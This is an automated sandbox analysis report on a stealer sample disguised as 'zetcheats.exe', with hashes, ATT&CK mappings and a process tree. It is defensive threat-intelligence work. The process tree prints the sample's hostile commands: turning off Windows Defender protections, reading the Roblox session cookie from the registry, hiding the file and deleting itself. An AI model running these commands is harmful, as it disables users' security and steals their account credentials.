umbral | 732efb009641d9d8d38ad223649018ce8d0521f0e03c34112221d0525dda7855

Analysis

max time kernel
51s
max time network
53s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
25-08-2024 14:00

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General

Target

zetcheats/zetcheats.exe
Size

229KB
MD5

a5136c56ea838074a1b521860a45086c
SHA1

576f08a6e5e4ee6f0a438e5c58506e059497d015
SHA256

d4f221f62d10617dbbac44172e5e1d5b106a47c69ac4a2426eff77c9485c0707
SHA512

1dd818b836c898b85459d42f8163be1926149b569c3f918b994f89ddaea7939a27324b6964140008fa394cda77aa84f468361416a7db5ddcc8bba9ff5bc4c5c3
SSDEEP

6144:lloZM+rIkd8g+EtXHkv/iD4ClRVw2xpacPyAxVkQIb8e1mvi:noZtL+EP8ClRVw2xpacPyAxVklN

Score

10^/10

umbral credential_access discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral2/memory/1460-1-0x00000222BDEC0000-0x00000222BDF00000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
752	powershell.exe
1600	powershell.exe
4480	powershell.exe
536	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	zetcheats.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
24	discord.com
26	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
7	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4280	cmd.exe
2424	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1600	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2424	PING.EXE

Suspicious behavior: EnumeratesProcesses 16 IoCs

pid	Process
1460	zetcheats.exe
752	powershell.exe
752	powershell.exe
752	powershell.exe
1600	powershell.exe
1600	powershell.exe
1600	powershell.exe
4480	powershell.exe
4480	powershell.exe
4480	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
536	powershell.exe
536	powershell.exe
536	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1460	zetcheats.exe
Token: SeIncreaseQuotaPrivilege	3604	wmic.exe
Token: SeSecurityPrivilege	3604	wmic.exe
Token: SeTakeOwnershipPrivilege	3604	wmic.exe
Token: SeLoadDriverPrivilege	3604	wmic.exe
Token: SeSystemProfilePrivilege	3604	wmic.exe
Token: SeSystemtimePrivilege	3604	wmic.exe
Token: SeProfSingleProcessPrivilege	3604	wmic.exe
Token: SeIncBasePriorityPrivilege	3604	wmic.exe
Token: SeCreatePagefilePrivilege	3604	wmic.exe
Token: SeBackupPrivilege	3604	wmic.exe
Token: SeRestorePrivilege	3604	wmic.exe
Token: SeShutdownPrivilege	3604	wmic.exe
Token: SeDebugPrivilege	3604	wmic.exe
Token: SeSystemEnvironmentPrivilege	3604	wmic.exe
Token: SeRemoteShutdownPrivilege	3604	wmic.exe
Token: SeUndockPrivilege	3604	wmic.exe
Token: SeManageVolumePrivilege	3604	wmic.exe
Token: 33	3604	wmic.exe
Token: 34	3604	wmic.exe
Token: 35	3604	wmic.exe
Token: 36	3604	wmic.exe
Token: SeIncreaseQuotaPrivilege	3604	wmic.exe
Token: SeSecurityPrivilege	3604	wmic.exe
Token: SeTakeOwnershipPrivilege	3604	wmic.exe
Token: SeLoadDriverPrivilege	3604	wmic.exe
Token: SeSystemProfilePrivilege	3604	wmic.exe
Token: SeSystemtimePrivilege	3604	wmic.exe
Token: SeProfSingleProcessPrivilege	3604	wmic.exe
Token: SeIncBasePriorityPrivilege	3604	wmic.exe
Token: SeCreatePagefilePrivilege	3604	wmic.exe
Token: SeBackupPrivilege	3604	wmic.exe
Token: SeRestorePrivilege	3604	wmic.exe
Token: SeShutdownPrivilege	3604	wmic.exe
Token: SeDebugPrivilege	3604	wmic.exe
Token: SeSystemEnvironmentPrivilege	3604	wmic.exe
Token: SeRemoteShutdownPrivilege	3604	wmic.exe
Token: SeUndockPrivilege	3604	wmic.exe
Token: SeManageVolumePrivilege	3604	wmic.exe
Token: 33	3604	wmic.exe
Token: 34	3604	wmic.exe
Token: 35	3604	wmic.exe
Token: 36	3604	wmic.exe
Token: SeDebugPrivilege	752	powershell.exe
Token: SeDebugPrivilege	1600	powershell.exe
Token: SeDebugPrivilege	4480	powershell.exe
Token: SeDebugPrivilege	4968	powershell.exe
Token: SeIncreaseQuotaPrivilege	4272	wmic.exe
Token: SeSecurityPrivilege	4272	wmic.exe
Token: SeTakeOwnershipPrivilege	4272	wmic.exe
Token: SeLoadDriverPrivilege	4272	wmic.exe
Token: SeSystemProfilePrivilege	4272	wmic.exe
Token: SeSystemtimePrivilege	4272	wmic.exe
Token: SeProfSingleProcessPrivilege	4272	wmic.exe
Token: SeIncBasePriorityPrivilege	4272	wmic.exe
Token: SeCreatePagefilePrivilege	4272	wmic.exe
Token: SeBackupPrivilege	4272	wmic.exe
Token: SeRestorePrivilege	4272	wmic.exe
Token: SeShutdownPrivilege	4272	wmic.exe
Token: SeDebugPrivilege	4272	wmic.exe
Token: SeSystemEnvironmentPrivilege	4272	wmic.exe
Token: SeRemoteShutdownPrivilege	4272	wmic.exe
Token: SeUndockPrivilege	4272	wmic.exe
Token: SeManageVolumePrivilege	4272	wmic.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 1460 wrote to memory of 3604	1460	zetcheats.exe	91
PID 1460 wrote to memory of 3604	1460	zetcheats.exe	91
PID 1460 wrote to memory of 1988	1460	zetcheats.exe	96
PID 1460 wrote to memory of 1988	1460	zetcheats.exe	96
PID 1460 wrote to memory of 752	1460	zetcheats.exe	98
PID 1460 wrote to memory of 752	1460	zetcheats.exe	98
PID 1460 wrote to memory of 1600	1460	zetcheats.exe	101
PID 1460 wrote to memory of 1600	1460	zetcheats.exe	101
PID 1460 wrote to memory of 4480	1460	zetcheats.exe	105
PID 1460 wrote to memory of 4480	1460	zetcheats.exe	105
PID 1460 wrote to memory of 4968	1460	zetcheats.exe	107
PID 1460 wrote to memory of 4968	1460	zetcheats.exe	107
PID 1460 wrote to memory of 4272	1460	zetcheats.exe	110
PID 1460 wrote to memory of 4272	1460	zetcheats.exe	110
PID 1460 wrote to memory of 3428	1460	zetcheats.exe	112
PID 1460 wrote to memory of 3428	1460	zetcheats.exe	112
PID 1460 wrote to memory of 1100	1460	zetcheats.exe	114
PID 1460 wrote to memory of 1100	1460	zetcheats.exe	114
PID 1460 wrote to memory of 536	1460	zetcheats.exe	116
PID 1460 wrote to memory of 536	1460	zetcheats.exe	116
PID 1460 wrote to memory of 1600	1460	zetcheats.exe	118
PID 1460 wrote to memory of 1600	1460	zetcheats.exe	118
PID 1460 wrote to memory of 4280	1460	zetcheats.exe	121
PID 1460 wrote to memory of 4280	1460	zetcheats.exe	121
PID 4280 wrote to memory of 2424	4280	cmd.exe	123
PID 4280 wrote to memory of 2424	4280	cmd.exe	123

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
1988	attrib.exe

C:\Users\Admin\AppData\Local\Temp\zetcheats\zetcheats.exe
"C:\Users\Admin\AppData\Local\Temp\zetcheats\zetcheats.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1460
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3604
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\zetcheats\zetcheats.exe"
  2⤵
  - Views/modifies file attributes
  PID:1988
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\zetcheats\zetcheats.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:752
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1600
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4480
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4968
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4272
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:3428
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:1100
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:536
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:1600
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\zetcheats\zetcheats.exe" && pause
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:4280
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2424

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=1020,i,11708048364682646792,608099842549576907,262144 --variations-seed-version --mojo-platform-channel-handle=4088 /prefetch:8
1⤵
PID:2988

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
0e3b2fb1305afa355fb0585c068cdbbd

SHA1
b4e9457bfdc38337f64e3b2606aa34861aa6b4ed

SHA256
43a303fed06d5928800280cb0bf716790d9f886c87f26faf9fbdfa59b55e9c0d

SHA512
6a754dbb33c549ace5f71e169511422284f688c9df1c1e5fac8a633feac24312ba39fa4c682bdc9fe1d1162e2a3bd6190013652e567909417579db4b8791554d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
e0499ccf2f5e6b93d5e6e1e1d06afe73

SHA1
a0169a2e3fccbe56b91a30c2df5abdc0850a0d58

SHA256
fdb232420c104c1e639dd928a694b0c00914355df693c9eaa80d6f4d409a1891

SHA512
fe7968e8097047c1167325a3bd98485362d4b421a82801b558229a90888012b427f0e64ead460625715fb2b9fea78b2435e5af3d083c192430f7844f198e922b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
af283a45e468abc28a9ac1c14af0a45d

SHA1
6d70a604e1a12e0df9b98a4bf57d335d78986c93

SHA256
141a5cbf854b091471384f71c93282c31d166a8676d43559c38086dd6e07229c

SHA512
05abb1f812dd979755e811928006974bccf076e8f618061e64db35b129bb78175a99bac6eefa5e11f6f3c4af94f60e9b7da4c4ba07fa740748ff47a4511d4db8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
548dd08570d121a65e82abb7171cae1c

SHA1
1a1b5084b3a78f3acd0d811cc79dbcac121217ab

SHA256
cdf17b8532ebcebac3cfe23954a30aa32edd268d040da79c82687e4ccb044adc

SHA512
37b98b09178b51eec9599af90d027d2f1028202efc1633047e16e41f1a95610984af5620baac07db085ccfcb96942aafffad17aa1f44f63233e83869dc9f697b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
6317adf4fbc43ea2fd68861fafd57155

SHA1
6b87c718893c83c6eed2767e8d9cbc6443e31913

SHA256
c1ead17eef37b4b461cedc276504a441489e819c7f943037f2001966aeec90af

SHA512
17229aae8622e4bfc3caaac55684f7d4ccd3162af5919c851b1d8ac4060b6bb7b75044ecee116523d05acb55197dcb60780958f629450edef386f1e6f65f49f0

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_smv5gnjy.cf2.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/752-4-0x00007FF865960000-0x00007FF866421000-memory.dmp

Filesize
10.8MB

Download
memory/752-14-0x000001E065DF0000-0x000001E065E12000-memory.dmp

Filesize
136KB

Download
memory/752-15-0x00007FF865960000-0x00007FF866421000-memory.dmp

Filesize
10.8MB

Download
memory/752-18-0x00007FF865960000-0x00007FF866421000-memory.dmp

Filesize
10.8MB

Download
memory/752-3-0x00007FF865960000-0x00007FF866421000-memory.dmp

Filesize
10.8MB

Download
memory/1460-34-0x00000222BFC90000-0x00000222BFCE0000-memory.dmp

Filesize
320KB

Download
memory/1460-33-0x00000222D8630000-0x00000222D86A6000-memory.dmp

Filesize
472KB

Download
memory/1460-35-0x00000222BFD00000-0x00000222BFD1E000-memory.dmp

Filesize
120KB

Download
memory/1460-0-0x00007FF865963000-0x00007FF865965000-memory.dmp

Filesize
8KB

Download
memory/1460-1-0x00000222BDEC0000-0x00000222BDF00000-memory.dmp

Filesize
256KB

Download
memory/1460-68-0x00000222D86C0000-0x00000222D86CA000-memory.dmp

Filesize
40KB

Download
memory/1460-69-0x00000222D94D0000-0x00000222D94E2000-memory.dmp

Filesize
72KB

Download
memory/1460-2-0x00007FF865960000-0x00007FF866421000-memory.dmp

Filesize
10.8MB

Download
memory/1460-84-0x00007FF865963000-0x00007FF865965000-memory.dmp

Filesize
8KB

Download
memory/1460-88-0x00007FF865960000-0x00007FF866421000-memory.dmp

Filesize
10.8MB

Download